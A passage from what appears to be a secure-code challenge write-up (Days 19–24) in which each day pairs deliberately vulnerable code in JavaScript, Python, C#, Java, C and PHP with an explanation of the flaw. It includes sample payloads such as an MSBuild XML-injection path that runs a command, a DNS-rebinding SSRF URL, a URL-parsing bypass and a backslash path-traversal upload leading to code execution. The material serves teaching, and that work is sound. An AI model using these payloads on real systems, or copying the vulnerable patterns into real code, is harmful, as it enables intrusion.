app.get('/exportPDF', csrfProtect, async (req, res) => {
if (!req.query.id) {
return res.status(400).send();
}
const id = path.basename(req.query.id);
const dst = `public/export/${id}.pdf`;
const f = buildForm(`public/uploads/${id}`).replaceAll('{csrf_token}', req.csrfToken());
await fs.writeFile(dst, f);
return res.send(`<a href="${escape(dst)}">Your PDF!<a>`);
});
|
- The goal is to bypass CSRF protection and attack any endpoint.
- The
/exportPDF
endpoint exports text files as PDF forms.
- CSRF tokens are embedded in exported PDFs by replacing
{csrf_token}
.
- CSRF middleware doesn’t protect GET requests, making
/exportPDF
vulnerable to CSRF.
- Attackers need the file ID to trigger the export.
- Attackers can upload files and trick other users into exporting them.
- Exported PDFs contain the victim’s CSRF token.
- Attackers can download the PDF, extract the token, and launch CSRF attacks on the victim’s behalf, performing privileged actions.
Day 19 - Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| def is_their_service_broken(url: str) -> bool:
try:
host = requests.utils.urlparse(url).hostname
res = socket.gethostbyname(host)
except socket.gaierror:
return False
return not ipaddress.ip_address(res).is_private
@app.route('/avatar/<string:avatar>')
def fetch_avatar(avatar: str) -> Response:
avatar = f'http://unstable-avatar-service.tld{avatar}'
# This service is still in development and their DNS sometimes
# point to their own internal network, make sure it's OK
if not is_their_service_broken(avatar):
hash = md5(avatar.encode("ascii")).hexdigest()
avatar = f'http://www.gravatar.com/avatar/{hash}'
res = requests.get(avatar, stream=True, timeout=1)
return make_response(
stream_with_context(res),
res.status_code,
{'Content-Type': 'image/png'}
)
|
- New feature introduces a Server-Side Request Forgery (SSRF) vulnerability.
- Validation function blocks requests to private IPs, but has a race condition.
-
- DNS lookup resolves hostname to public IP (accepted by validation).
-
request.get()
sends another DNS request (potential delay).
-
- During this delay, attacker can change IP to a private one (internal service).
- Attacker exploits this timing gap by manipulating DNS records.
- Example payload:
http://challenge/avatar/:x@0a004a8c.01010101.rbndr.us:1234
- This tricks the server into sending a request to the attacker-controlled internal service (10.0.74.140:1234).
Challenge based on https://blog.sonarsource.com/wordpress-core-unauthenticated-blind-ssrf/
Day 20 - CSharp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
| // Start log server
Socket socket = new Socket(
AddressFamily.InterNetwork,
SocketType.Dgram,
ProtocolType.Udp);
socket.SetSocketOption(
SocketOptionLevel.IP,
SocketOptionName.ReuseAddress,
true);
socket.Bind(new IPEndPoint(IPAddress.Parse("0.0.0.0"), 1337));
const int bufSize = 1024;
byte[] buffer = new byte[bufSize];
EndPoint epFrom = new IPEndPoint(IPAddress.Any, 0);
AsyncCallback recv = null;
socket.BeginReceiveFrom(buffer, 0, bufSize, SocketFlags.None, ref epFrom, recv = (ar) =>
{
int receivedBytes = socket.EndReceiveFrom(ar, ref epFrom);
IPEndPoint src = epFrom as IPEndPoint;
if (IsInRange(src.Address, "10.13.37.0/24"))
{
ConsumeLogMessage(epFrom, buffer, receivedBytes);
}
socket.BeginReceiveFrom(buffer, 0, bufSize, SocketFlags.None, ref epFrom, recv, buffer);
}, buffer);
|
- UDP socket is opened on port 1337 to receive log messages.
- A callback function processes incoming UDP packets.
- Packet validation checks if the source IP is within the 10.13.37.0/24 range.
- UDP lacks strong security mechanisms like TCP’s handshake.
- Attackers can spoof source IP addresses using tools like Scapy.
- While internet ISPs often filter spoofed packets, some shady hosting providers allow it.
- IP-based access control should consider this vulnerability.
Day 21 - Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
| MemcachedConnector mcc = new MemcachedConnector("memcached", 11211);
mcc.set("welcome_en", "Hi there!");
mcc.set("welcome_de", "Hallo!");
mcc.set("welcome_fr", "Bonjour!");
mcc.set("auth_backend", "http://192.168.64.2:8000/");
HttpServer srv = HttpServer.create(new InetSocketAddress(9000), 0);
srv.createContext("/", (HttpExchange he) -> {
String lang = "en";
if (he.getRequestURI().getQuery() != null) {
for (String param : he.getRequestURI().getQuery().split("&")) {
String[] entry = param.split("=");
if (entry[0].equals("lang")) lang = entry[1];
}
}
String welcomeMessage = mcc.get("welcome_" + lang);
Main.response(he, 200, welcomeMessage);
});
srv.createContext("/login", (HttpExchange he) -> {
try {
JSONParser jsonParser = new JSONParser();
JSONObject jsonObject = (JSONObject)jsonParser.parse(new InputStreamReader(he.getRequestBody(), "UTF-8"));
String authBackend = mcc.get("auth_backend");
String body = "username=" + jsonObject.get("username") + "&password=" + jsonObject.get("password");
HttpClient httpClient = HttpClient.newHttpClient();
HttpRequest req = HttpRequest.newBuilder().uri(URI.create(authBackend))
.POST(HttpRequest.BodyPublishers.ofString(body))
.headers("Content-Type", "application/x-www-form-urlencoded").build();
HttpResponse<String> resp = httpClient.send(req, HttpResponse.BodyHandlers.ofString());
if (resp.statusCode() == 200) {
Main.response(he, 200, "Welcome!\n");
return;
}
} catch (Exception exp) { }
Main.response(he, 403, "Login failed!\n");
});
srv.start();
|
- The application uses memcached to store localized welcome messages.
- The
lang
query parameter is directly inserted into the memcached query.
- By injecting newline characters (
\r\n
), attackers can append additional memcached commands.
- Attackers can manipulate the
auth_backend
key to redirect user credentials to a malicious server.
- This vulnerability is similar to a real-world Zimbra vulnerability.
Challenge based on https://blog.sonarsource.com/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/
Day 22 - CSharp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
| [HttpPost]
public string DummyBuild()
{
// note: users can create files and subdirs in their project dir
string src = GetCurrentUserProjectDir();
var sources = Directory.GetFiles(src, "*.cs", SearchOption.AllDirectories)
.ToList()
.Select(x => @$"<None Include=""{x}"" />");
string tmpDir = CreateTmpDir();
System.IO.File.WriteAllText(Path.Combine(tmpDir, "app.csproj"), $@"
<Project Sdk=""Microsoft.NET.Sdk"">
<PropertyGroup><TargetFramework>net6.0</TargetFramework></PropertyGroup>
<ItemGroup>{string.Join(Environment.NewLine, sources)}</ItemGroup>
</Project>");
var process = new System.Diagnostics.Process();
process.StartInfo = new System.Diagnostics.ProcessStartInfo
{
WorkingDirectory = tmpDir,
FileName = "dotnet",
Arguments = "build",
RedirectStandardOutput = true,
};
process.Start();
var output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
CleanUp(tmpDir);
return output;
}
|
DummyBuild()
function creates an XML project file based on user-provided file paths.
- These paths are inserted into the template without escaping special characters (“, <, >).
- Attackers can craft paths containing these characters to inject XML elements.
- The generated file is used as a .NET project file with
dotnet build
.
- An attacker can create a
<Target>
with an <Exec>
command for arbitrary code execution.
- Example path:
"/></ItemGroup><Target Name="Pwn" BeforeTargets="Build"><Exec Command="id"/></Target><ItemGroup><None Include="/tmp/foo.cs
- This creates a malicious project file structure with an embedded “id” command.
dotnet build
executes the attacker-defined “Pwn” target before building, running the “id” command.
Day 23 - C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
| // I found this URL parser on stackoverflow, it should be good enough
bool validate_domain(const char *url) {
char domain[100];
int port = 80;
sscanf(url, "https://%99[^:]:%99d/", domain, &port);
return strcmp("internal.service", domain) == 0;
}
int main(int argc, char **argv) {
// [...]
const char *url = argv[1];
if (!validate_domain(url)) {
printf("validate_domain failed\n");
return 1;
}
if ((curl = curl_easy_init())) {
curl_easy_setopt(curl, CURLOPT_URL, url);
res = curl_easy_perform(curl);
switch(res) {
case CURLE_OK:
printf("All good!\n");
break;
default:
printf("Nope :(\n");
break;
}
}
// [...]
}
|
- The
validate_domain()
function uses a simplified URL parsing approach.
- This approach differs from standards like RFC 2396 and RFC 3986.
- Libraries like libcurl implement more comprehensive URL parsing.
- This discrepancy can lead to different interpretations of the same URL.
- This is known as a URL parsing differential.
- Attackers can exploit this by crafting malicious URLs that target unintended hosts.
- Example:
https://internal.service:@very-sensitive-internal.service/
Day 24 - PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| define('UPLOAD_FOLDER',
sys_get_temp_dir().DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR);
function validateFilePath($fpath) {
// Prevent path traversal
if (str_contains($fpath, '..'.DIRECTORY_SEPARATOR)) {
http_response_code(403);
die('invalid path!');
}
}
function uploadFile($src, $dest) {
$path = dirname($dest);
if (!file_exists($path)) {
mkdir($path, 0755, true);
}
move_uploaded_file($src, $dest);
}
function normalizeFilePath($fpath) {
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Windows')) {
return str_replace('\\', '/', $fpath);
}
return $fpath;
}
$src = $_FILES['file']['tmp_name'];
$dest = UPLOAD_FOLDER.$_FILES['file']['full_path'];
validateFilePath($dest);
uploadFile($src, normalizeFilePath($dest));
echo 'file uploaded!';
|
- The application allows users to upload arbitrary files.
- The destination path is constructed by concatenating the base path with the user-provided filename.
- A basic check is done to prevent
../
in the filename to avoid path traversal.
- However, the normalization process converts backslashes (
\
) to forward slashes (/
) on Windows systems.
- Attackers can exploit this by using
\..
in the filename and setting a Windows User-Agent.
- This bypasses the
../
check and allows path traversal to arbitrary locations.
- An attacker can upload a malicious PHP file to the web root, enabling remote code execution.
This challenge is based from https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/